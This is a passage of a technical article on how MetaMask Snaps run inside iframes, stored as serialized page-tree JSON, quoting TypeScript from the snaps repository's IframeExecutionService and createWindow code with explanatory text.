setupSnapProvider:",{"type":24,"tag":83,"props":35508,"children":35509},{"style":90},[35510],{"type":29,"value":35451},{"type":24,"tag":83,"props":35512,"children":35513},{"style":107},[35514],{"type":29,"value":161},{"type":24,"tag":83,"props":35516,"children":35517},{"style":137},[35518],{"type":29,"value":35519},"setupSnapProvider",{"type":24,"tag":83,"props":35521,"children":35522},{"style":107},[35523],{"type":29,"value":161},{"type":24,"tag":83,"props":35525,"children":35526},{"style":101},[35527],{"type":29,"value":35528},"bind",{"type":24,"tag":83,"props":35530,"children":35531},{"style":107},[35532],{"type":29,"value":558},{"type":24,"tag":83,"props":35534,"children":35535},{"style":90},[35536],{"type":29,"value":563},{"type":24,"tag":83,"props":35538,"children":35539},{"style":107},[35540],{"type":29,"value":6483},{"type":24,"tag":83,"props":35542,"children":35543},{"class":85,"line":302},[35544],{"type":24,"tag":83,"props":35545,"children":35546},{"style":107},[35547],{"type":29,"value":1071},{"type":24,"tag":83,"props":35549,"children":35550},{"class":85,"line":324},[35551],{"type":24,"tag":83,"props":35552,"children":35553},{"emptyLinePlaceholder":16},[35554],{"type":29,"value":3422},{"type":24,"tag":83,"props":35556,"children":35557},{"class":85,"line":345},[35558],{"type":24,"tag":83,"props":35559,"children":35560},{"style":2735},[35561],{"type":29,"value":35562},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":83,"props":35564,"children":35565},{"class":85,"line":358},[35566,35570,35574,35578,35582,35586],{"type":24,"tag":83,"props":35567,"children":35568},{"style":137},[35569],{"type":29,"value":35416},{"type":24,"tag":83,"props":35571,"children":35572},{"style":107},[35573],{"type":29,"value":161},{"type":24,"tag":83,"props":35575,"children":35576},{"style":137},[35577],{"type":29,"value":35425},{"type":24,"tag":83,"props":35579,"children":35580},{"style":107},[35581],{"type":29,"value":161},{"type":24,"tag":83,"props":35583,"children":35584},{"style":137},[35585],{"type":29,"value":35434},{"type":24,"tag":83,"props":35587,"children":35588},{"style":143},[35589],{"type":29,"value":860},{"type":24,"tag":83,"props":35591,"children":35592},{"class":85,"line":367},[35593,35598],{"type":24,"tag":83,"props":35594,"children":35595},{"style":187},[35596],{"type":29,"value":35597},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":83,"props":35599,"children":35600},{"style":107},[35601],{"type":29,"value":321},{"type":24,"tag":83,"props":35603,"children":35604},{"class":85,"line":406},[35605],{"type":24,"tag":83,"props":35606,"children":35607},{"style":2735},[35608],{"type":29,"value":35370},{"type":24,"tag":25,"props":35610,"children":35611},{},[35612,35614,35620,35622,35628,35630,35635],{"type":29,"value":35613},"This code is defining the ",{"type":24,"tag":32,"props":35615,"children":35617},{"className":35616},[],[35618],{"type":29,"value":35619},"snapExecutionServiceArgs",{"type":29,"value":35621}," object, which contains information required for the ",{"type":24,"tag":32,"props":35623,"children":35625},{"className":35624},[],[35626],{"type":29,"value":35627},"IframeExecutionService",{"type":29,"value":35629}," to execute snaps. The ",{"type":24,"tag":32,"props":35631,"children":35633},{"className":35632},[],[35634],{"type":29,"value":35434},{"type":29,"value":35636}," points to the location where the execution environment resides.",{"type":24,"tag":18631,"props":35638,"children":35640},{"id":35639},"executing-snaps-iframeexecutionservice-in-action",[35641],{"type":29,"value":35642},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":35644,"children":35645},{},[35646,35648,35653,35655,35661],{"type":29,"value":35647},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":32,"props":35649,"children":35651},{"className":35650},[],[35652],{"type":29,"value":35627},{"type":29,"value":35654}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":2033,"props":35656,"children":35659},{"href":35657,"rel":35658},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[2037],[35660],{"type":29,"value":32},{"type":29,"value":195},{"type":24,"tag":73,"props":35663,"children":35667},{"className":35664,"code":35665,"language":35666,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[35668],{"type":24,"tag":32,"props":35669,"children":35670},{"__ignoreMap":7},[35671,35679,35708,35738,35791,35828,35835,35842,35850,35857,35864,35872,35906,35914,35968,36030,36038],{"type":24,"tag":83,"props":35672,"children":35673},{"class":85,"line":86},[35674],{"type":24,"tag":83,"props":35675,"children":35676},{"style":2735},[35677],{"type":29,"value":35678},"// Register message handlers for snap interactions\n",{"type":24,"tag":83,"props":35680,"children":35681},{"class":85,"line":113},[35682,35686,35690,35695,35699,35704],{"type":24,"tag":83,"props":35683,"children":35684},{"style":90},[35685],{"type":29,"value":563},{"type":24,"tag":83,"props":35687,"children":35688},{"style":107},[35689],{"type":29,"value":161},{"type":24,"tag":83,"props":35691,"children":35692},{"style":137},[35693],{"type":29,"value":35694},"#messenger",{"type":24,"tag":83,"props":35696,"children":35697},{"style":107},[35698],{"type":29,"value":161},{"type":24,"tag":83,"props":35700,"children":35701},{"style":101},[35702],{"type":29,"value":35703},"registerActionHandler",{"type":24,"tag":83,"props":35705,"children":35706},{"style":107},[35707],{"type":29,"value":3208},{"type":24,"tag":83,"props":35709,"children":35710},{"class":85,"line":128},[35711,35716,35720,35725,35729,35734],{"type":24,"tag":83,"props":35712,"children":35713},{"style":187},[35714],{"type":29,"value":35715},"  `",{"type":24,"tag":83,"props":35717,"children":35718},{"style":90},[35719],{"type":29,"value":33845},{"type":24,"tag":83,"props":35721,"children":35722},{"style":137},[35723],{"type":29,"value":35724},"controllerName",{"type":24,"tag":83,"props":35726,"children":35727},{"style":90},[35728],{"type":29,"value":33877},{"type":24,"tag":83,"props":35730,"children":35731},{"style":187},[35732],{"type":29,"value":35733},":handleRpcRequest`",{"type":24,"tag":83,"props":35735,"children":35736},{"style":107},[35737],{"type":29,"value":989},{"type":24,"tag":83,"props":35739,"children":35740},{"class":85,"line":183},[35741,35746,35750,35755,35759,35764,35768,35773,35777,35782,35786],{"type":24,"tag":83,"props":35742,"children":35743},{"style":90},[35744],{"type":29,"value":35745},"  async",{"type":24,"tag":83,"props":35747,"children":35748},{"style":107},[35749],{"type":29,"value":223},{"type":24,"tag":83,"props":35751,"children":35752},{"style":137},[35753],{"type":29,"value":35754},"snapId",{"type":24,"tag":83,"props":35756,"children":35757},{"style":143},[35758],{"type":29,"value":195},{"type":24,"tag":83,"props":35760,"children":35761},{"style":3163},[35762],{"type":29,"value":35763}," string",{"type":24,"tag":83,"props":35765,"children":35766},{"style":107},[35767],{"type":29,"value":568},{"type":24,"tag":83,"props":35769,"children":35770},{"style":137},[35771],{"type":29,"value":35772},"options",{"type":24,"tag":83,"props":35774,"children":35775},{"style":143},[35776],{"type":29,"value":195},{"type":24,"tag":83,"props":35778,"children":35779},{"style":3163},[35780],{"type":29,"value":35781}," SnapRpcHookArgs",{"type":24,"tag":83,"props":35783,"children":35784},{"style":107},[35785],{"type":29,"value":633},{"type":24,"tag":83,"props":35787,"children":35788},{"style":90},[35789],{"type":29,"value":35790},"=>\n",{"type":24,"tag":83,"props":35792,"children":35793},{"class":85,"line":203},[35794,35799,35803,35808,35812,35816,35820,35824],{"type":24,"tag":83,"props":35795,"children":35796},{"style":90},[35797],{"type":29,"value":35798},"    this",{"type":24,"tag":83,"props":35800,"children":35801},{"style":107},[35802],{"type":29,"value":161},{"type":24,"tag":83,"props":35804,"children":35805},{"style":101},[35806],{"type":29,"value":35807},"handleRpcRequest",{"type":24,"tag":83,"props":35809,"children":35810},{"style":107},[35811],{"type":29,"value":558},{"type":24,"tag":83,"props":35813,"children":35814},{"style":137},[35815],{"type":29,"value":35754},{"type":24,"tag":83,"props":35817,"children":35818},{"style":107},[35819],{"type":29,"value":568},{"type":24,"tag":83,"props":35821,"children":35822},{"style":137},[35823],{"type":29,"value":35772},{"type":24,"tag":83,"props":35825,"children":35826},{"style":107},[35827],{"type":29,"value":6483},{"type":24,"tag":83,"props":35829,"children":35830},{"class":85,"line":212},[35831],{"type":24,"tag":83,"props":35832,"children":35833},{"style":107},[35834],{"type":29,"value":581},{"type":24,"tag":83,"props":35836,"children":35837},{"class":85,"line":256},[35838],{"type":24,"tag":83,"props":35839,"children":35840},{"emptyLinePlaceholder":16},[35841],{"type":29,"value":3422},{"type":24,"tag":83,"props":35843,"children":35844},{"class":85,"line":270},[35845],{"type":24,"tag":83,"props":35846,"children":35847},{"style":2735},[35848],{"type":29,"value":35849},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":83,"props":35851,"children":35852},{"class":85,"line":302},[35853],{"type":24,"tag":83,"props":35854,"children":35855},{"style":2735},[35856],{"type":29,"value":35370},{"type":24,"tag":83,"props":35858,"children":35859},{"class":85,"line":324},[35860],{"type":24,"tag":83,"props":35861,"children":35862},{"emptyLinePlaceholder":16},[35863],{"type":29,"value":3422},{"type":24,"tag":83,"props":35865,"children":35866},{"class":85,"line":345},[35867],{"type":24,"tag":83,"props":35868,"children":35869},{"style":2735},[35870],{"type":29,"value":35871},"// Execute a snap\n",{"type":24,"tag":83,"props":35873,"children":35874},{"class":85,"line":358},[35875,35879,35884,35888,35893,35897,35902],{"type":24,"tag":83,"props":35876,"children":35877},{"style":137},[35878],{"type":29,"value":93},{"type":24,"tag":83,"props":35880,"children":35881},{"style":101},[35882],{"type":29,"value":35883}," executeSnap",{"type":24,"tag":83,"props":35885,"children":35886},{"style":107},[35887],{"type":29,"value":558},{"type":24,"tag":83,"props":35889,"children":35890},{"style":137},[35891],{"type":29,"value":35892},"snapData",{"type":24,"tag":83,"props":35894,"children":35895},{"style":107},[35896],{"type":29,"value":1920},{"type":24,"tag":83,"props":35898,"children":35899},{"style":137},[35900],{"type":29,"value":35901},"SnapExecutionData",{"type":24,"tag":83,"props":35903,"children":35904},{"style":107},[35905],{"type":29,"value":253},{"type":24,"tag":83,"props":35907,"children":35908},{"class":85,"line":367},[35909],{"type":24,"tag":83,"props":35910,"children":35911},{"style":2735},[35912],{"type":29,"value":35913},"  // Initialize job, streams, and environment\n",{"type":24,"tag":83,"props":35915,"children":35916},{"class":85,"line":406},[35917,35921,35925,35930,35935,35939,35943,35947,35951,35956,35960,35964],{"type":24,"tag":83,"props":35918,"children":35919},{"style":90},[35920],{"type":29,"value":526},{"type":24,"tag":83,"props":35922,"children":35923},{"style":107},[35924],{"type":29,"value":9333},{"type":24,"tag":83,"props":35926,"children":35927},{"style":137},[35928],{"type":29,"value":35929},"jobId",{"type":24,"tag":83,"props":35931,"children":35932},{"style":107},[35933],{"type":29,"value":35934}," } ",{"type":24,"tag":83,"props":35936,"children":35937},{"style":143},[35938],{"type":29,"value":1275},{"type":24,"tag":83,"props":35940,"children":35941},{"style":117},[35942],{"type":29,"value":151},{"type":24,"tag":83,"props":35944,"children":35945},{"style":90},[35946],{"type":29,"value":35451},{"type":24,"tag":83,"props":35948,"children":35949},{"style":107},[35950],{"type":29,"value":161},{"type":24,"tag":83,"props":35952,"children":35953},{"style":101},[35954],{"type":29,"value":35955},"initJob",{"type":24,"tag":83,"props":35957,"children":35958},{"style":107},[35959],{"type":29,"value":558},{"type":24,"tag":83,"props":35961,"children":35962},{"style":137},[35963],{"type":29,"value":35892},{"type":24,"tag":83,"props":35965,"children":35966},{"style":107},[35967],{"type":29,"value":581},{"type":24,"tag":83,"props":35969,"children":35970},{"class":85,"line":427},[35971,35975,35979,35984,35988,35993,35997,36001,36005,36009,36013,36018,36022,36026],{"type":24,"tag":83,"props":35972,"children":35973},{"style":90},[35974],{"type":29,"value":526},{"type":24,"tag":83,"props":35976,"children":35977},{"style":107},[35978],{"type":29,"value":9333},{"type":24,"tag":83,"props":35980,"children":35981},{"style":137},[35982],{"type":29,"value":35983},"worker",{"type":24,"tag":83,"props":35985,"children":35986},{"style":107},[35987],{"type":29,"value":568},{"type":24,"tag":83,"props":35989,"children":35990},{"style":137},[35991],{"type":29,"value":35992},"stream",{"type":24,"tag":83,"props":35994,"children":35995},{"style":107},[35996],{"type":29,"value":35934},{"type":24,"tag":83,"props":35998,"children":35999},{"style":143},[36000],{"type":29,"value":1275},{"type":24,"tag":83,"props":36002,"children":36003},{"style":117},[36004],{"type":29,"value":151},{"type":24,"tag":83,"props":36006,"children":36007},{"style":90},[36008],{"type":29,"value":35451},{"type":24,"tag":83,"props":36010,"children":36011},{"style":107},[36012],{"type":29,"value":161},{"type":24,"tag":83,"props":36014,"children":36015},{"style":101},[36016],{"type":29,"value":36017},"initEnvStream",{"type":24,"tag":83,"props":36019,"children":36020},{"style":107},[36021],{"type":29,"value":558},{"type":24,"tag":83,"props":36023,"children":36024},{"style":137},[36025],{"type":29,"value":35929},{"type":24,"tag":83,"props":36027,"children":36028},{"style":107},[36029],{"type":29,"value":581},{"type":24,"tag":83,"props":36031,"children":36032},{"class":85,"line":440},[36033],{"type":24,"tag":83,"props":36034,"children":36035},{"style":2735},[36036],{"type":29,"value":36037},"  // ...\n",{"type":24,"tag":83,"props":36039,"children":36040},{"class":85,"line":449},[36041],{"type":24,"tag":83,"props":36042,"children":36043},{"style":107},[36044],{"type":29,"value":464},{"type":24,"tag":25,"props":36046,"children":36047},{},[36048,36049,36054,36056,36062],{"type":29,"value":16348},{"type":24,"tag":32,"props":36050,"children":36052},{"className":36051},[],[36053],{"type":29,"value":35627},{"type":29,"value":36055}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":32,"props":36057,"children":36059},{"className":36058},[],[36060],{"type":29,"value":36061},"${controllerName}:executeSnap",{"type":29,"value":36063}," handler triggers the snap execution process.",{"type":24,"tag":18631,"props":36065,"children":36067},{"id":36066},"step-by-step-execution-from-initialization-to-iframe-creation",[36068,36070],{"type":29,"value":36069},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":2033,"props":36071,"children":36074},{"href":36072,"rel":36073},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[2037],[36075],{"type":29,"value":36076},"creation",{"type":24,"tag":73,"props":36078,"children":36080},{"className":35664,"code":36079,"language":35666,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[36081],{"type":24,"tag":32,"props":36082,"children":36083},{"__ignoreMap":7},[36084,36132,36153,36174,36182,36246,36253,36281,36298,36315,36332,36349,36356,36363,36387],{"type":24,"tag":83,"props":36085,"children":36086},{"class":85,"line":86},[36087,36092,36096,36101,36105,36109,36113,36117,36122,36127],{"type":24,"tag":83,"props":36088,"children":36089},{"style":137},[36090],{"type":29,"value":36091},"protected",{"type":24,"tag":83,"props":36093,"children":36094},{"style":137},[36095],{"type":29,"value":496},{"type":24,"tag":83,"props":36097,"children":36098},{"style":101},[36099],{"type":29,"value":36100}," initEnvStream",{"type":24,"tag":83,"props":36102,"children":36103},{"style":107},[36104],{"type":29,"value":558},{"type":24,"tag":83,"props":36106,"children":36107},{"style":137},[36108],{"type":29,"value":35929},{"type":24,"tag":83,"props":36110,"children":36111},{"style":107},[36112],{"type":29,"value":1920},{"type":24,"tag":83,"props":36114,"children":36115},{"style":137},[36116],{"type":29,"value":29418},{"type":24,"tag":83,"props":36118,"children":36119},{"style":107},[36120],{"type":29,"value":36121},"): ",{"type":24,"tag":83,"props":36123,"children":36124},{"style":3163},[36125],{"type":29,"value":36126},"Promise",{"type":24,"tag":83,"props":36128,"children":36129},{"style":107},[36130],{"type":29,"value":36131},"\u003C{\n",{"type":24,"tag":83,"props":36133,"children":36134},{"class":85,"line":113},[36135,36140,36144,36149],{"type":24,"tag":83,"props":36136,"children":36137},{"style":137},[36138],{"type":29,"value":36139},"    worker",{"type":24,"tag":83,"props":36141,"children":36142},{"style":143},[36143],{"type":29,"value":195},{"type":24,"tag":83,"props":36145,"children":36146},{"style":3163},[36147],{"type":29,"value":36148}," Window",{"type":24,"tag":83,"props":36150,"children":36151},{"style":107},[36152],{"type":29,"value":321},{"type":24,"tag":83,"props":36154,"children":36155},{"class":85,"line":128},[36156,36161,36165,36170],{"type":24,"tag":83,"props":36157,"children":36158},{"style":137},[36159],{"type":29,"value":36160},"    stream",{"type":24,"tag":83,"props":36162,"children":36163},{"style":143},[36164],{"type":29,"value":195},{"type":24,"tag":83,"props":36166,"children":36167},{"style":3163},[36168],{"type":29,"value":36169}," BasePostMessageStream",{"type":24,"tag":83,"props":36171,"children":36172},{"style":107},[36173],{"type":29,"value":321},{"type":24,"tag":83,"props":36175,"children":36176},{"class":85,"line":183},[36177],{"type":24,"tag":83,"props":36178,"children":36179},{"style":107},[36180],{"type":29,"value":36181},"  }> {\n",{"type":24,"tag":83,"props":36183,"children":36184},{"class":85,"line":203},[36185,36190,36195,36199,36203,36208,36212,36216,36220,36225,36229,36234,36238,36242],{"type":24,"tag":83,"props":36186,"children":36187},{"style":107},[36188],{"type":29,"value":36189},"    const ",{"type":24,"tag":83,"props":36191,"children":36192},{"style":137},[36193],{"type":29,"value":36194},"iframeWindow",{"type":24,"tag":83,"props":36196,"children":36197},{"style":143},[36198],{"type":29,"value":146},{"type":24,"tag":83,"props":36200,"children":36201},{"style":117},[36202],{"type":29,"value":151},{"type":24,"tag":83,"props":36204,"children":36205},{"style":101},[36206],{"type":29,"value":36207}," createWindow",{"type":24,"tag":83,"props":36209,"children":36210},{"style":107},[36211],{"type":29,"value":558},{"type":24,"tag":83,"props":36213,"children":36214},{"style":90},[36215],{"type":29,"value":563},{"type":24,"tag":83,"props":36217,"children":36218},{"style":107},[36219],{"type":29,"value":161},{"type":24,"tag":83,"props":36221,"children":36222},{"style":137},[36223],{"type":29,"value":36224},"iframeUrl",{"type":24,"tag":83,"props":36226,"children":36227},{"style":107},[36228],{"type":29,"value":161},{"type":24,"tag":83,"props":36230,"children":36231},{"style":101},[36232],{"type":29,"value":36233},"toString",{"type":24,"tag":83,"props":36235,"children":36236},{"style":107},[36237],{"type":29,"value":18112},{"type":24,"tag":83,"props":36239,"children":36240},{"style":137},[36241],{"type":29,"value":35929},{"type":24,"tag":83,"props":36243,"children":36244},{"style":107},[36245],{"type":29,"value":581},{"type":24,"tag":83,"props":36247,"children":36248},{"class":85,"line":212},[36249],{"type":24,"tag":83,"props":36250,"children":36251},{"emptyLinePlaceholder":16},[36252],{"type":29,"value":3422},{"type":24,"tag":83,"props":36254,"children":36255},{"class":85,"line":256},[36256,36260,36264,36268,36272,36277],{"type":24,"tag":83,"props":36257,"children":36258},{"style":107},[36259],{"type":29,"value":36189},{"type":24,"tag":83,"props":36261,"children":36262},{"style":137},[36263],{"type":29,"value":35992},{"type":24,"tag":83,"props":36265,"children":36266},{"style":143},[36267],{"type":29,"value":146},{"type":24,"tag":83,"props":36269,"children":36270},{"style":90},[36271],{"type":29,"value":944},{"type":24,"tag":83,"props":36273,"children":36274},{"style":101},[36275],{"type":29,"value":36276}," WindowPostMessageStream",{"type":24,"tag":83,"props":36278,"children":36279},{"style":107},[36280],{"type":29,"value":180},{"type":24,"tag":83,"props":36282,"children":36283},{"class":85,"line":270},[36284,36289,36294],{"type":24,"tag":83,"props":36285,"children":36286},{"style":137},[36287],{"type":29,"value":36288},"      name:",{"type":24,"tag":83,"props":36290,"children":36291},{"style":187},[36292],{"type":29,"value":36293}," 'parent'",{"type":24,"tag":83,"props":36295,"children":36296},{"style":107},[36297],{"type":29,"value":989},{"type":24,"tag":83,"props":36299,"children":36300},{"class":85,"line":302},[36301,36306,36311],{"type":24,"tag":83,"props":36302,"children":36303},{"style":137},[36304],{"type":29,"value":36305},"      target:",{"type":24,"tag":83,"props":36307,"children":36308},{"style":187},[36309],{"type":29,"value":36310}," 'child'",{"type":24,"tag":83,"props":36312,"children":36313},{"style":107},[36314],{"type":29,"value":989},{"type":24,"tag":83,"props":36316,"children":36317},{"class":85,"line":324},[36318,36323,36328],{"type":24,"tag":83,"props":36319,"children":36320},{"style":137},[36321],{"type":29,"value":36322},"      targetWindow:",{"type":24,"tag":83,"props":36324,"children":36325},{"style":137},[36326],{"type":29,"value":36327}," iframeWindow",{"type":24,"tag":83,"props":36329,"children":36330},{"style":107},[36331],{"type":29,"value":989},{"type":24,"tag":83,"props":36333,"children":36334},{"class":85,"line":345},[36335,36340,36345],{"type":24,"tag":83,"props":36336,"children":36337},{"style":137},[36338],{"type":29,"value":36339},"      targetOrigin:",{"type":24,"tag":83,"props":36341,"children":36342},{"style":187},[36343],{"type":29,"value":36344}," '*'",{"type":24,"tag":83,"props":36346,"children":36347},{"style":107},[36348],{"type":29,"value":989},{"type":24,"tag":83,"props":36350,"children":36351},{"class":85,"line":358},[36352],{"type":24,"tag":83,"props":36353,"children":36354},{"style":107},[36355],{"type":29,"value":209},{"type":24,"tag":83,"props":36357,"children":36358},{"class":85,"line":367},[36359],{"type":24,"tag":83,"props":36360,"children":36361},{"emptyLinePlaceholder":16},[36362],{"type":29,"value":3422},{"type":24,"tag":83,"props":36364,"children":36365},{"class":85,"line":406},[36366,36371,36375,36379,36383],{"type":24,"tag":83,"props":36367,"children":36368},{"style":107},[36369],{"type":29,"value":36370},"    return { worker: ",{"type":24,"tag":83,"props":36372,"children":36373},{"style":137},[36374],{"type":29,"value":36194},{"type":24,"tag":83,"props":36376,"children":36377},{"style":107},[36378],{"type":29,"value":568},{"type":24,"tag":83,"props":36380,"children":36381},{"style":137},[36382],{"type":29,"value":35992},{"type":24,"tag":83,"props":36384,"children":36385},{"style":107},[36386],{"type":29,"value":18036},{"type":24,"tag":83,"props":36388,"children":36389},{"class":85,"line":427},[36390],{"type":24,"tag":83,"props":36391,"children":36392},{"style":107},[36393],{"type":29,"value":455},{"type":24,"tag":25,"props":36395,"children":36396},{},[36397,36399,36405,36407,36414],{"type":29,"value":36398},"Here the iframe is created via ",{"type":24,"tag":32,"props":36400,"children":36402},{"className":36401},[],[36403],{"type":29,"value":36404},"createWindow",{"type":29,"value":36406},", which is defined in snaps-utils ",{"type":24,"tag":2033,"props":36408,"children":36411},{"href":36409,"rel":36410},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[2037],[36412],{"type":29,"value":36413},"package",{"type":29,"value":195},{"type":24,"tag":73,"props":36416,"children":36418},{"className":35664,"code":36417,"language":35666,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[36419],{"type":24,"tag":32,"props":36420,"children":36421},{"__ignoreMap":7},[36422,36465,36503,36540,36547,36567,36605,36612,36649],{"type":24,"tag":83,"props":36423,"children":36424},{"class":85,"line":86},[36425,36429,36434,36438,36443,36447,36452,36456,36461],{"type":24,"tag":83,"props":36426,"children":36427},{"style":90},[36428],{"type":29,"value":9401},{"type":24,"tag":83,"props":36430,"children":36431},{"style":137},[36432],{"type":29,"value":36433}," iframe",{"type":24,"tag":83,"props":36435,"children":36436},{"style":143},[36437],{"type":29,"value":146},{"type":24,"tag":83,"props":36439,"children":36440},{"style":137},[36441],{"type":29,"value":36442}," document",{"type":24,"tag":83,"props":36444,"children":36445},{"style":107},[36446],{"type":29,"value":161},{"type":24,"tag":83,"props":36448,"children":36449},{"style":101},[36450],{"type":29,"value":36451},"createElement",{"type":24,"tag":83,"props":36453,"children":36454},{"style":107},[36455],{"type":29,"value":558},{"type":24,"tag":83,"props":36457,"children":36458},{"style":187},[36459],{"type":29,"value":36460},"'iframe'",{"type":24,"tag":83,"props":36462,"children":36463},{"style":107},[36464],{"type":29,"value":581},{"type":24,"tag":83,"props":36466,"children":36467},{"class":85,"line":113},[36468,36473,36477,36482,36486,36491,36495,36499],{"type":24,"tag":83,"props":36469,"children":36470},{"style":137},[36471],{"type":29,"value":36472},"    iframe",{"type":24,"tag":83,"props":36474,"children":36475},{"style":107},[36476],{"type":29,"value":161},{"type":24,"tag":83,"props":36478,"children":36479},{"style":101},[36480],{"type":29,"value":36481},"setAttribute",{"type":24,"tag":83,"props":36483,"children":36484},{"style":107},[36485],{"type":29,"value":558},{"type":24,"tag":83,"props":36487,"children":36488},{"style":187},[36489],{"type":29,"value":36490},"'id'",{"type":24,"tag":83,"props":36492,"children":36493},{"style":107},[36494],{"type":29,"value":568},{"type":24,"tag":83,"props":36496,"children":36497},{"style":137},[36498],{"type":29,"value":3231},{"type":24,"tag":83,"props":36500,"children":36501},{"style":107},[36502],{"type":29,"value":581},{"type":24,"tag":83,"props":36504,"children":36505},{"class":85,"line":128},[36506,36510,36514,36518,36522,36527,36531,36536],{"type":24,"tag":83,"props":36507,"children":36508},{"style":137},[36509],{"type":29,"value":36472},{"type":24,"tag":83,"props":36511,"children":36512},{"style":107},[36513],{"type":29,"value":161},{"type":24,"tag":83,"props":36515,"children":36516},{"style":101},[36517],{"type":29,"value":36481},{"type":24,"tag":83,"props":36519,"children":36520},{"style":107},[36521],{"type":29,"value":558},{"type":24,"tag":83,"props":36523,"children":36524},{"style":187},[36525],{"type":29,"value":36526},"'data-testid'",{"type":24,"tag":83,"props":36528,"children":36529},{"style":107},[36530],{"type":29,"value":568},{"type":24,"tag":83,"props":36532,"children":36533},{"style":187},[36534],{"type":29,"value":36535},"'snaps-iframe'",{"type":24,"tag":83,"props":36537,"children":36538},{"style":107},[36539],{"type":29,"value":581},{"type":24,"tag":83,"props":36541,"children":36542},{"class":85,"line":183},[36543],{"type":24,"tag":83,"props":36544,"children":36545},{"emptyLinePlaceholder":16},[36546],{"type":29,"value":3422},{"type":24,"tag":83,"props":36548,"children":36549},{"class":85,"line":203},[36550,36554,36558,36563],{"type":24,"tag":83,"props":36551,"children":36552},{"style":117},[36553],{"type":29,"value":218},{"type":24,"tag":83,"props":36555,"children":36556},{"style":107},[36557],{"type":29,"value":223},{"type":24,"tag":83,"props":36559,"children":36560},{"style":137},[36561],{"type":29,"value":36562},"sandbox",{"type":24,"tag":83,"props":36564,"children":36565},{"style":107},[36566],{"type":29,"value":253},{"type":24,"tag":83,"props":36568,"children":36569},{"class":85,"line":212},[36570,36575,36579,36583,36587,36592,36596,36601],{"type":24,"tag":83,"props":36571,"children":36572},{"style":137},[36573],{"type":29,"value":36574},"      iframe",{"type":24,"tag":83,"props":36576,"children":36577},{"style":107},[36578],{"type":29,"value":161},{"type":24,"tag":83,"props":36580,"children":36581},{"style":101},[36582],{"type":29,"value":36481},{"type":24,"tag":83,"props":36584,"children":36585},{"style":107},[36586],{"type":29,"value":558},{"type":24,"tag":83,"props":36588,"children":36589},{"style":187},[36590],{"type":29,"value":36591},"'sandbox'",{"type":24,"tag":83,"props":36593,"children":36594},{"style":107},[36595],{"type":29,"value":568},{"type":24,"tag":83,"props":36597,"children":36598},{"style":187},[36599],{"type":29,"value":36600},"'allow-scripts'",{"type":24,"tag":83,"props":36602,"children":36603},{"style":107},[36604],{"type":29,"value":581},{"type":24,"tag":83,"props":36606,"children":36607},{"class":85,"line":256},[36608],{"type":24,"tag":83,"props":36609,"children":36610},{"style":107},[36611],{"type":29,"value":446},{"type":24,"tag":83,"props":36613,"children":36614},{"class":85,"line":270},[36615,36619,36623,36627,36631,36636,36640,36645],{"type":24,"tag":83,"props":36616,"children":36617},{"style":137},[36618],{"type":29,"value":36472},{"type":24,"tag":83,"props":36620,"children":36621},{"style":107},[36622],{"type":29,"value":161},{"type":24,"tag":83,"props":36624,"children":36625},{"style":101},[36626],{"type":29,"value":36481},{"type":24,"tag":83,"props":36628,"children":36629},{"style":107},[36630],{"type":29,"value":558},{"type":24,"tag":83,"props":36632,"children":36633},{"style":187},[36634],{"type":29,"value":36635},"'src'",{"type":24,"tag":83,"props":36637,"children":36638},{"style":107},[36639],{"type":29,"value":568},{"type":24,"tag":83,"props":36641,"children":36642},{"style":137},[36643],{"type":29,"value":36644},"uri",{"type":24,"tag":83,"props":36646,"children":36647},{"style":107},[36648],{"type":29,"value":581},{"type":24,"tag":83,"props":36650,"children":36651},{"class":85,"line":302},[36652,36656,36660,36664,36668,36673,36677,36682],{"type":24,"tag":83,"props":36653,"children":36654},{"style":137},[36655],{"type":29,"value":34410},{"type":24,"tag":83,"props":36657,"children":36658},{"style":107},[36659],{"type":29,"value":161},{"type":24,"tag":83,"props":36661,"children":36662},{"style":137},[36663],{"type":29,"value":32138},{"type":24,"tag":83,"props":36665,"children":36666},{"style":107},[36667],{"type":29,"value":161},{"type":24,"tag":83,"props":36669,"children":36670},{"style":101},[36671],{"type":29,"value":36672},"appendChild",{"type":24,"tag":83,"props":36674,"children":36675},{"style":107},[36676],{"type":29,"value":558},{"type":24,"tag":83,"props":36678,"children":36679},{"style":137},[36680],{"type":29,"value":36681},"iframe",{"type":24,"tag":83,"props":36683,"children":36684},{"style":107},[36685],{"type":29,"value":581},{"type":24,"tag":25,"props":36687,"children":36688},{},[36689],{